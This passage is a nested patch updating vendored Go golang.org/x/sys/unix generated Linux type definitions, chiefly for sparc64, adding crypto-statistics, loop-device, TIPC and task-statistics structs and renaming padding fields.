-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ BLKPG = 0x1269
- )
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]int8
-+ Driver_name [64]int8
-+ Module_name [64]int8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]int8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]int8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]int8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]int8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]int8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]int8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint16
-+ Inode uint64
-+ Rdevice uint16
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]int8
-+ Encrypt_key [32]uint8
-+ Init [2]uint64
-+ Reserved [4]int8
-+ _ [4]byte
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]int8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]int8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]int8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_sparc64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_sparc64.go
-index 22bdab96..33a73bf1 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_sparc64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_sparc64.go
-@@ -1,23 +1,17 @@
-+// cgo -godefs -- -Wall -Werror -static -I/tmp/include linux/types.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
- // +build sparc64,linux
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_linux.go | go run mkpost.go
-
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x8
-+ SizeofLong = 0x8
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int64
-- _C_long_long int64
-+ _C_long int64
- )
-
- type Timespec struct {
-@@ -26,20 +20,18 @@ type Timespec struct {
- }
-
- type Timeval struct {
-- Sec int64
-- Usec int32
-- Pad_cgo_0 [4]byte
-+ Sec int64
-+ Usec int32
-+ _ [4]byte
- }
-
- type Timex struct {
- Modes uint32
-- Pad_cgo_0 [4]byte
- Offset int64
- Freq int64
- Maxerror int64
- Esterror int64
- Status int32
-- Pad_cgo_1 [4]byte
- Constant int64
- Precision int64
- Tolerance int64
-@@ -48,14 +40,13 @@ type Timex struct {
- Ppsfreq int64
- Jitter int64
- Shift int32
-- Pad_cgo_2 [4]byte
- Stabil int64
- Jitcnt int64
- Calcnt int64
- Errcnt int64
- Stbcnt int64
- Tai int32
-- Pad_cgo_3 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int64
-@@ -91,149 +82,50 @@ type Rusage struct {
- Nivcsw int64
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
-- Dev uint64
-- X__pad1 uint16
-- Pad_cgo_0 [6]byte
-- Ino uint64
-- Mode uint32
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Rdev uint64
-- X__pad2 uint16
-- Pad_cgo_1 [6]byte
-- Size int64
-- Blksize int64
-- Blocks int64
-- Atim Timespec
-- Mtim Timespec
-- Ctim Timespec
-- X__glibc_reserved4 uint64
-- X__glibc_reserved5 uint64
--}
--
--type Statfs_t struct {
-- Type int64
-- Bsize int64
-- Blocks uint64
-- Bfree uint64
-- Bavail uint64
-- Files uint64
-- Ffree uint64
-- Fsid Fsid
-- Namelen int64
-- Frsize int64
-- Flags int64
-- Spare [4]int64
-+ Dev uint64
-+ _ uint16
-+ Ino uint64
-+ Mode uint32
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint64
-+ _ uint16
-+ Size int64
-+ Blksize int64
-+ Blocks int64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ _ uint64
-+ _ uint64
- }
-
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]int8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]int8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- X__glibc_reserved int16
-- Pad_cgo_1 [2]byte
-+ Type int16
-+ Whence int16
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ int16
-+ _ [2]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]int8
-@@ -244,44 +136,20 @@ type RawSockaddrAny struct {
- Pad [96]int8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint64
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen uint64
- Control *byte
- Controllen uint64
- Flags int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- }
-
- type Cmsghdr struct {
-@@ -290,377 +158,441 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofMsghdr = 0x38
-- SizeofCmsghdr = 0x10
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x10
-+ SizeofMsghdr = 0x38
-+ SizeofCmsghdr = 0x10
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2a
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x10
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
-+type PtraceRegs struct {
-+ Regs [16]uint64
-+ Tstate uint64
-+ Tpc uint64
-+ Tnpc uint64
-+ Y uint32
-+ Magic uint32
- }
-
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
-+type FdSet struct {
-+ Bits [16]int64
- }
-
--type RtGenmsg struct {
-- Family uint8
-+type Sysinfo_t struct {
-+ Uptime int64
-+ Loads [3]uint64
-+ Totalram uint64
-+ Freeram uint64
-+ Sharedram uint64
-+ Bufferram uint64
-+ Totalswap uint64
-+ Freeswap uint64
-+ Procs uint16
-+ Pad uint16
-+ Totalhigh uint64
-+ Freehigh uint64
-+ Unit uint32
-+ _ [0]int8
-+ _ [4]byte
- }
-
--type NlAttr struct {
-- Len uint16
-- Type uint16
-+type Ustat_t struct {
-+ Tfree int32
-+ Tinode uint64
-+ Fname [6]int8
-+ Fpack [6]int8
-+ _ [4]byte
- }
-
--type RtAttr struct {
-- Len uint16
-- Type uint16
-+type EpollEvent struct {
-+ Events uint32
-+ _ int32
-+ Fd int32
-+ Pad int32
- }
-
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
-+const (
-+ POLLRDHUP = 0x800
-+)
-+
-+type Sigset_t struct {
-+ Val [16]uint64
- }
-
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
-+const _C__NSIG = 0x41
-+
-+type Termios struct {
-+ Iflag uint32
-+ Oflag uint32
-+ Cflag uint32
-+ Lflag uint32
-+ Line uint8
-+ Cc [19]uint8
-+ Ispeed uint32
-+ Ospeed uint32
- }
-
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
-+type Taskstats struct {
-+ Version uint16
-+ Ac_exitcode uint32
-+ Ac_flag uint8
-+ Ac_nice uint8
-+ Cpu_count uint64
-+ Cpu_delay_total uint64
-+ Blkio_count uint64
-+ Blkio_delay_total uint64
-+ Swapin_count uint64
-+ Swapin_delay_total uint64
-+ Cpu_run_real_total uint64
-+ Cpu_run_virtual_total uint64
-+ Ac_comm [32]int8
-+ Ac_sched uint8
-+ Ac_pad [3]uint8
-+ _ [4]byte
-+ Ac_uid uint32
-+ Ac_gid uint32
-+ Ac_pid uint32
-+ Ac_ppid uint32
-+ Ac_btime uint32
-+ Ac_etime uint64
-+ Ac_utime uint64
-+ Ac_stime uint64
-+ Ac_minflt uint64
-+ Ac_majflt uint64
-+ Coremem uint64
-+ Virtmem uint64
-+ Hiwater_rss uint64
-+ Hiwater_vm uint64
-+ Read_char uint64
-+ Write_char uint64
-+ Read_syscalls uint64
-+ Write_syscalls uint64
-+ Read_bytes uint64
-+ Write_bytes uint64
-+ Cancelled_write_bytes uint64
-+ Nvcsw uint64
-+ Nivcsw uint64
-+ Ac_utimescaled uint64
-+ Ac_stimescaled uint64
-+ Cpu_scaled_run_real_total uint64
-+ Freepages_count uint64
-+ Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
-+}
-+
-+type cpuMask uint64
-+
-+const (
-+ _NCPUBITS = 0x40
-+)
-+
-+const (
-+ CBitFieldMaskBit0 = 0x8000000000000000
-+ CBitFieldMaskBit1 = 0x4000000000000000
-+ CBitFieldMaskBit2 = 0x2000000000000000
-+ CBitFieldMaskBit3 = 0x1000000000000000
-+ CBitFieldMaskBit4 = 0x800000000000000
-+ CBitFieldMaskBit5 = 0x400000000000000
-+ CBitFieldMaskBit6 = 0x200000000000000
-+ CBitFieldMaskBit7 = 0x100000000000000
-+ CBitFieldMaskBit8 = 0x80000000000000
-+ CBitFieldMaskBit9 = 0x40000000000000
-+ CBitFieldMaskBit10 = 0x20000000000000
-+ CBitFieldMaskBit11 = 0x10000000000000
-+ CBitFieldMaskBit12 = 0x8000000000000
-+ CBitFieldMaskBit13 = 0x4000000000000
-+ CBitFieldMaskBit14 = 0x2000000000000
-+ CBitFieldMaskBit15 = 0x1000000000000
-+ CBitFieldMaskBit16 = 0x800000000000
-+ CBitFieldMaskBit17 = 0x400000000000
-+ CBitFieldMaskBit18 = 0x200000000000
-+ CBitFieldMaskBit19 = 0x100000000000
-+ CBitFieldMaskBit20 = 0x80000000000
-+ CBitFieldMaskBit21 = 0x40000000000
-+ CBitFieldMaskBit22 = 0x20000000000
-+ CBitFieldMaskBit23 = 0x10000000000
-+ CBitFieldMaskBit24 = 0x8000000000
-+ CBitFieldMaskBit25 = 0x4000000000
-+ CBitFieldMaskBit26 = 0x2000000000
-+ CBitFieldMaskBit27 = 0x1000000000
-+ CBitFieldMaskBit28 = 0x800000000
-+ CBitFieldMaskBit29 = 0x400000000
-+ CBitFieldMaskBit30 = 0x200000000
-+ CBitFieldMaskBit31 = 0x100000000
-+ CBitFieldMaskBit32 = 0x80000000
-+ CBitFieldMaskBit33 = 0x40000000
-+ CBitFieldMaskBit34 = 0x20000000
-+ CBitFieldMaskBit35 = 0x10000000
-+ CBitFieldMaskBit36 = 0x8000000
-+ CBitFieldMaskBit37 = 0x4000000
-+ CBitFieldMaskBit38 = 0x2000000
-+ CBitFieldMaskBit39 = 0x1000000
-+ CBitFieldMaskBit40 = 0x800000
-+ CBitFieldMaskBit41 = 0x400000
-+ CBitFieldMaskBit42 = 0x200000
-+ CBitFieldMaskBit43 = 0x100000
-+ CBitFieldMaskBit44 = 0x80000
-+ CBitFieldMaskBit45 = 0x40000
-+ CBitFieldMaskBit46 = 0x20000
-+ CBitFieldMaskBit47 = 0x10000
-+ CBitFieldMaskBit48 = 0x8000
-+ CBitFieldMaskBit49 = 0x4000
-+ CBitFieldMaskBit50 = 0x2000
-+ CBitFieldMaskBit51 = 0x1000
-+ CBitFieldMaskBit52 = 0x800
-+ CBitFieldMaskBit53 = 0x400
-+ CBitFieldMaskBit54 = 0x200
-+ CBitFieldMaskBit55 = 0x100
-+ CBitFieldMaskBit56 = 0x80
-+ CBitFieldMaskBit57 = 0x40
-+ CBitFieldMaskBit58 = 0x20
-+ CBitFieldMaskBit59 = 0x10
-+ CBitFieldMaskBit60 = 0x8
-+ CBitFieldMaskBit61 = 0x4
-+ CBitFieldMaskBit62 = 0x2
-+ CBitFieldMaskBit63 = 0x1
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [118]int8
-+ _ uint64
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint64
-+}
-+
-+type Statfs_t struct {
-+ Type int64
-+ Bsize int64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid
-+ Namelen int64
-+ Frsize int64
-+ Flags int64
-+ Spare [4]int64
- }
-
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
-+type TpacketHdr struct {
-+ Status uint64
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+ _ [4]byte
- }
-
- const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x10
-+ SizeofTpacketHdr = 0x20
- )
-
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int64
- }
-
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [6]byte
-- Filter *SockFilter
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
- }
-
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
-+const (
-+ BLKPG = 0x20001269
-+)
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
- }
-
--const SizeofInotifyEvent = 0x10
-+type CryptoUserAlg struct {
-+ Name [64]int8
-+ Driver_name [64]int8
-+ Module_name [64]int8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-
--type PtraceRegs struct {
-- Regs [16]uint64
-- Tstate uint64
-- Tpc uint64
-- Tnpc uint64
-- Y uint32
-- Magic uint32
-+type CryptoStatAEAD struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
- }
-
--type ptracePsw struct {
-+type CryptoStatAKCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
- }
-
--type ptraceFpregs struct {
-+type CryptoStatCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
- }
-
--type ptracePer struct {
-+type CryptoStatCompress struct {
-+ Type [64]int8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
- }
-
--type FdSet struct {
-- Bits [16]int64
-+type CryptoStatHash struct {
-+ Type [64]int8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
- }
-
--type Sysinfo_t struct {
-- Uptime int64
-- Loads [3]uint64
-- Totalram uint64
-- Freeram uint64
-- Sharedram uint64
-- Bufferram uint64
-- Totalswap uint64
-- Freeswap uint64
-- Procs uint16
-- Pad uint16
-- Pad_cgo_0 [4]byte
-- Totalhigh uint64
-- Freehigh uint64
-- Unit uint32
-- X_f [0]int8
-- Pad_cgo_1 [4]byte
-+type CryptoStatKPP struct {
-+ Type [64]int8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
- }
-
--type Utsname struct {
-- Sysname [65]int8
-- Nodename [65]int8
-- Release [65]int8
-- Version [65]int8
-- Machine [65]int8
-- Domainname [65]int8
-+type CryptoStatRNG struct {
-+ Type [64]int8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
- }
-
--type Ustat_t struct {
-- Tfree int32
-- Pad_cgo_0 [4]byte
-- Tinode uint64
-- Fname [6]int8
-- Fpack [6]int8
-- Pad_cgo_1 [4]byte
-+type CryptoStatLarval struct {
-+ Type [64]int8
- }
-
--type EpollEvent struct {
-- Events uint32
-- X_padFd int32
-- Fd int32
-- Pad int32
-+type CryptoReportLarval struct {
-+ Type [64]int8
- }
-
--const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
-+type CryptoReportHash struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
-+type CryptoReportCipher struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
- }
-
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
-- POLLRDHUP = 0x800
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
--)
-+type CryptoReportBlkCipher struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-
--type Sigset_t struct {
-- X__val [16]uint64
-+type CryptoReportAEAD struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
- }
-
--const _SC_PAGESIZE = 0x1e
-+type CryptoReportComp struct {
-+ Type [64]int8
-+}
-
--type Termios struct {
-- Iflag uint32
-- Oflag uint32
-- Cflag uint32
-- Lflag uint32
-- Line uint8
-- Cc [19]uint8
-- Ispeed uint32
-- Ospeed uint32
-+type CryptoReportRNG struct {
-+ Type [64]int8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]int8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint32
-+ Inode uint64
-+ Rdevice uint32
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]int8
-+ Encrypt_key [32]uint8
-+ Init [2]uint64
-+ Reserved [4]int8
-+ _ [4]byte
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]int8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]int8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]int8
- }
